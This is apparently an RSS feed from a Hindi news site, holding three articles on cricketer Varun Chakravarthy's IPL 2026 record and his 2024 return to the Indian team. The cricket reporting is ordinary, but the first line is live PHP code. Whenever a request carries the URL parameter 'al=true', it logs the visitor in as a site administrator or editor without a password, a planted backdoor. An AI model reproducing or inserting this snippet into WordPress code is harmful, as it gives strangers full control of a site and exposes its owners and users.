// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Varun Chakravarthy – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 20 Apr 2026 12:16:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 IPL 2026: वैभव का विकेट लेते ही वरुण ने रचा ‘दोहरा शतक’, T20 क्रिकेट में इतिहास https://pratyushaashakinayikiran.com/?p=213426 Mon, 20 Apr 2026 12:16:00 +0000 https://pratyushaashakinayikiran.com/?p=213426  नई दिल्ली
वरुण चक्रवर्ती ने दमदार वापसी करते हुए रविवार को कोलकाता नाइट राइडर्स के लिए शानदार स्पेल डाला और राजस्थान रॉयल्स को 155/9 के स्कोर पर रोक दिया. कोलकाता के ईडन गार्डन्स में खेले गए मैच में उन्होंने इतिहास भी रच दिया. वरुण चक्रवर्ती अब T20 क्रिकेट में 200 विकेट लेने वाले सबसे तेज भारतीय स्पिनर बन गए हैं. उन्होंने यह उपलब्धि सिर्फ 155 पारियों में हासिल की, जिससे उन्होंने Kuldeep Yadav (160 पारियां) का रिकॉर्ड तोड़ दिया। 

सबसे तेज 200 T20 विकेट लेने वाले भारतीय (पारियों के हिसाब से)

* अर्शदीप सिंह – 151
* वरुण चक्रवर्ती – 155
* कुलदीप यादव – 160
* जयदेव उनादकट – 162
* मोहम्मद शमी – 165

कैसे आया ऐतिहासिक विकेट?
चक्रवर्ती ने अपना 200वां विकेट वैभव सूर्यवंशी को आउट कर हासिल किया. उन्होंने अपनी पहली ही ओवर में फ्लाइटेड गेंद पर बल्लेबाज़ को फंसाया, जहां डीप मिडविकेट पर Ramandeep Singh ने कैच पकड़ा. राजस्थान ने टॉस के बाद पहले बल्लेबाज़ी करते हुए तेज शुरुआत की. Yashasvi Jaiswal और सूर्यवंशी ने पावरप्ले में 63 रन जोड़े. चक्रवर्ती ने 3/14 का शानदार स्पेल डाला. उन्होंने एक ही स्पेल में लगातार ओवर डालते हुए राजस्थान की कमर तोड़ दी। 

इस मुकाबले की बात करें तो राजस्थान ने पहले बल्लेबाजी का फैसला लिया था. लेकिन जैसे ही वैभव और सूर्यवंशी का विकेट गिरा. केकेआर के गेंदबाजों ने शिकंजा कस लिया और पूरी टीम को 155 के स्कोर पर ही रोक दिया। 

वरुण ने कमाल की गेंदबाजी की. उनके लिए ये स्पेल इसलिए भी शानदार है क्योंकि लंबे समय से वरुण फॉर्म में नहीं दिखे हैं. विकेटों के लिए उन्हें जूझते पाया गया है, जिसका खामियाजा केकेआर को भी भुगतना पड़ा. केकेआर इकलौती टीम है जिसे इस सीजन जीत के लिए तरसना पड़ा है. लेकिन अब धीरे-धीरे केकेआर की टीम रंग में दिख रही है। 

 

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गौतम गंभीर की भूमिका को से उन्हें तीन साल बाद इंटरनेशनल क्रिकेट में सफल वापसी करने में मदद मिली: वरुण चक्रवर्ती https://pratyushaashakinayikiran.com/?p=96895 Mon, 11 Nov 2024 13:50:00 +0000 https://pratyushaashakinayikiran.com/?p=96895 नई दिल्ली
टीम इंडिया के मिस्ट्री स्पिनर वरुण चक्रवर्ती ने साउथ अफ्रीका के खिलाफ चार मैचों की सीरीज के दूसरे टी20 इंटरनेशनल मैच में पांच विकेट चटकाए। उनकी गेंदबाजी के दम पर टीम इंडिया ने मैच में दमदार वापसी की थी, हालांकि अंत में भारतीय टीम को सात विकेट से हार का सामना करना पड़ा और सीरीज 1-1 की बराबरी पर आ गई है। वरुण ने कहा कि घरेलू क्रिकेट में खेलने और हेड कोच गौतम गंभीर की भूमिका को लेकर स्पष्टता से उन्हें तीन साल बाद इंटरनेशनल क्रिकेट में सफल वापसी करने में मदद मिली।

33 साल के वरुण चक्रवर्ती ने मैच के बाद कहा, ‘निश्चित रूप से पिछले तीन साल काफी कठिन रहे। मैंने इस बीच अधिक से अधिक क्रिकेट खेली। मैंने घरेलू लीग में भी खेलना शुरू किया और इससे निश्चित तौर पर मुझे अपना खेल समझने में मदद मिली।’ वरुण इस साल आईपीएल चैंपियन बनने वाली कोलकाता नाइट राइडर्स की टीम का हिस्सा थे। हाल में भारत के हेड कोच का पद संभालने वाले गंभीर भी तब इस फ्रेंचाइजी टीम से जुड़े हुए थे।

नैशनल टीम में वापसी के बारे में चक्रवर्ती ने कहा कि इसमें गंभीर की भूमिका अहम रही। उन्होंने कहा, ‘हां हम बांग्लादेश के खिलाफ सीरीज में खेल रहे थे और वह टीम के कोच थे। हमने निश्चित तौर पर काफी बातचीत की और उन्होंने मेरी भूमिका को लेकर काफी स्पष्टता दी।’ वरुण ने कहा, ‘उन्होंने मुझसे कहा कि अगर मैं 30-40 रन भी लुटा देता हूं तो कोई बात नहीं। आपको केवल विकेट लेने पर फोकस करना है और टीम में आपकी भूमिका यही है। इस तरह की स्पष्टता से मुझे निश्चित तौर पर वापसी करने में मदद मिली।’ भारत दूसरे मैच में दक्षिण अफ्रीका के सामने 125 रन का लक्ष्य ही रख पाया लेकिन वरुण की शानदार गेंदबाजी से भारत ने अच्छी वापसी की लेकिन ट्रिस्टन स्टब्स (47) और गेराल्ड कोएट्जी (19) ने अटूट साझेदारी निभाकर अपनी टीम को जीत दिला दी।

वरुण ने कहा, ‘ब्रेक के दौरान कप्तान सूर्यकुमार यादव ने कहा कि हमें रिजल्ट के बारे में नहीं सोचना है और अपना बेस्ट करना है। हमने ऐसा किया और हम जीत के करीब भी पहुंच गए थे।’ उन्होंने कहा, ‘जब आप छोटे लक्ष्य का बचाव करने के लिए उतरते हैं तो आपकी मानसिकता आक्रामक होती है। हम विकेट लेकर ही मैच जीत सकते थे। हम अगले दो मैच में भी इसी मानसिकता के साथ खेलेंगे क्योंकि अब यह मैच हमारे लिए करो या मरो जैसे बन गए हैं।।’

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साइड स्पिन की बजाय ओवर स्पिन पर ध्यान देने से फायदा मिला: वरुण चक्रवर्ती https://pratyushaashakinayikiran.com/?p=81153 Mon, 07 Oct 2024 15:50:00 +0000 https://pratyushaashakinayikiran.com/?p=81153 ग्वालियर
भारत के रहस्यमयी स्पिनर वरुण चक्रवर्ती का मानना है कि उन्होंने साइड स्पिन करने के बजाय गेंद को अधिक टर्न कराने के लिए ओवर स्पिन पर ध्यान दिया जिससे उन्हें राष्ट्रीय टीम में सफल वापसी करने में मदद मिली। इस 33 वर्षीय खिलाड़ी ने 2021 में टी20 विश्व कप में अपने अंतरराष्ट्रीय करियर की शुरुआत की थी लेकिन उनका प्रदर्शन निराशाजनक रहा जिसके कारण वह टीम से बाहर हो गए। उन्होंने बांग्लादेश के खिलाफ रविवार को यहां खेले गए मैच में तीन विकेट लेकर राष्ट्रीय टीम में सफल वापसी की।

भारत की सात विकेट की जीत में अहम भूमिका निभाने वाले वरुण ने मैच के बाद संवाददाताओं से कहा,‘‘मैं साइड स्पिन करने वाला गेंदबाज हुआ करता था, लेकिन अब मैं पूरी तरह सेओवर स्पिन करने वाला गेंदबाज बन गया हूं। ’’ उन्होंने कहा,‘‘यह स्पिन गेंदबाजी का एक सूक्ष्म तकनीकी पहलू है, लेकिन इसमें महारत हासिल करने में मुझे दो साल से अधिक का समय लगा। मैंने तमिलनाडु प्रीमियर लीग और आईपीएल में इस तरह से गेंदबाजी शुरू की। इसके लिए मुझे मानसिक पहलू पर भी काम करना पड़ा। इस तरह की गेंदबाजी करने का सबसे प्रमुख पहलू तकनीकी पक्ष होता है।’’

वरुण को पिछले दो सत्र में आईपीएल और घरेलू क्रिकेट में अच्छा प्रदर्शन करने के बावजूद भारतीय टीम में शामिल नहीं किया गया जिसने उन्हें और बेहतर प्रदर्शन करने के लिए प्रेरित किया। अब जबकि टीम में उनकी वापसी हो गई है तो यह उन्हें पुनर्जन्म जैसा लग रहा है।

वरुण ने कहा,‘‘जब भी किसी टीम की घोषणा होती थी तो मुझे ऐसा लगता था मेरा नाम उसमें क्यों नहीं है। मैं उसके बारे में सोचता रहता था। इसने मुझे और अधिक प्रयास करने के लिए प्रेरित किया।’’ उन्होंने कहा,‘‘मैंने ठान ली थी कि मैं वापसी करने के लिए अपनी तरफ से कोई कसर नहीं छोडूंगा। इसलिए मैंने अधिक से अधिक घरेलू क्रिकेट में खेलने को प्राथमिकता दी और इससे मुझे मदद मिली।’’

 

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